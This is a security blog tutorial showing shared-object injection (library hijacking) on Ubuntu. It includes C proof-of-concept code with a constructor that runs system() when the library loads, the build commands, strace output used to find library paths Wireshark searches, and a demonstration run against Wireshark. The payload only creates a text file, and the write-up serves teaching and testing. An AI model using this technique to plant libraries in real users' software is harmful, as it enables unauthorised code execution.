------------------------------------------------------------------------------- shared object (so) Injection on *nix Systems http://blog.disects.com Praveen Darshanam praveend [dot] hac [at] gmail [dot] com ------------------------------------------------------------------------------- [Introduction] We have seen lot of "DLL Injection", "DLL Hijacking" etc. on Windows Operating Systems. We will try the same on *nix systems, "shared object (so) Injection". I tried this on Ubuntu 14.04 32-bit. praveend@praveend-vbox:~$ $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty praveend@praveend-vbox:~$ $ getconf LONG_BIT 32 [PoC Code] praveend@praveend-vbox:~/exploits$ $ cat linux_so_loading.c #include #include static void nix_so_injection_poc() __attribute__((constructor)); void nix_so_injection_poc() { printf("PoC for DLL/so Hijacking in Linux \n"); /* execute any arbitrary malicious command/code*/ system("touch ~/praveend.txt && echo \"so injection PoC\" >~/praveend.txt"); } [Understand PoC Code and build .so] "__attribute__((constructor))" is a GCC attribute which will be run when a shared library is loaded, usually during program startup. Created so file will have .ctor section in the linux binary which has references to functions marked with constructors. To build .so file from C code [Explanation] $ man gcc ....snip.... -o outfile -shared Produce a shared object which can then be linked with other objects to form an executable. Not all systems support this option. For predictable results, you must also specify the same set of options used for compilation (-fpic, -fPIC, or model suboptions) when you specify this linker option. -fPIC If supported for the target machine, emit position-independent code, suitable for dynamic linking and avoiding any limit on the size of the global offset table. This option makes a difference on the m68k, PowerPC and SPARC. Position-independent code requires special support, and therefore works only on certain machines. When this flag is set, the macros "__pic__" and "__PIC__" are defined to 2. praveend@praveend-vbox:~/exploits$ $ gcc -shared -o libsoinjection.so -fPIC linux_so_loading.c praveend@praveend-vbox:~/exploits$ $ ls -ls libsoinjection.so 8 -rwxrwxr-x 1 praveend praveend 6959 Jul 11 14:34 libsoinjection.so [Injection: Hands on] Lets inject libsoinjection.so in wireshark. To do that we need to find so files which wireshark is trying to load but unable to find. We will use system call tracer (strace) to do the job. praveend@praveend-vbox:~/exploits$ $ strace wireshark &> wireshark_strace.log $ vim wireshark_strace.log ....snip.... open("/usr/share/locale-langpack/en_IN/LC_MESSAGES/gtk30-properties.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale-langpack/en/LC_MESSAGES/gtk30-properties.mo", O_RDONLY) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", F_OK) = 0 stat64("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", {st_mode=S_IFREG|0644, st_size=75972, ...}) = 0 open("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@:\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0644, st_size=75972, ...}) = 0 mmap2(NULL, 78852, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76dc000 mmap2(0xb76ee000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x11000) = 0xb76ee000 close(3) = 0 mprotect(0xb76ee000, 4096, PROT_READ) = 0 access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory) access("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", F_OK) = 0 stat64("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", {st_mode=S_IFREG|0644, st_size=22184, ...}) = 0 open("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", O_RDONLY|O_CLOEXEC) = 3 ....snip.... So we can pick any of the so files which are not found by wireshark to load at run time from the above list and rename libsoinjection.so to it, say, renaming libsoinjection.so to liboverlay-scrollbar.so and copy the the specific path. Before launching wireshark, lets check if the file is present in users HOME directory praveend@praveend-vbox:~/exploits$ $ ls -ls ~/praveend.txt ls: cannot access /home/praveend/praveend.txt: No such file or directory Launch wireshark and observe code in our shared object (so) file getting executed. praveend@praveend-vbox:~/exploits$ $ wireshark PoC for DLL/so Hijacking in Linux Gtk-Message: Failed to load module "overlay-scrollbar" DLL/.so Hijacking in Linux Gtk-Message: Failed to load module "canberra-gtk-module" praveend@praveend-vbox:~/exploits$ praveend.txt file is sucessfully created. praveend@praveend-vbox:~/exploits$ $ ls -ls ~/praveend.txt 4 -rw-rw-r-- 1 praveend praveend 17 Jul 11 15:15 /home/praveend/praveend.txt praveend@praveend-vbox:~/exploits$ $ cat ~/praveend.txt so injection PoC praveend@praveend-vbox:~/exploits$ [References] http://blog.disects.com/search?q=dll+loading http://tldp.org/HOWTO/Program-Library-HOWTO/dl-libraries.html http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html http://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html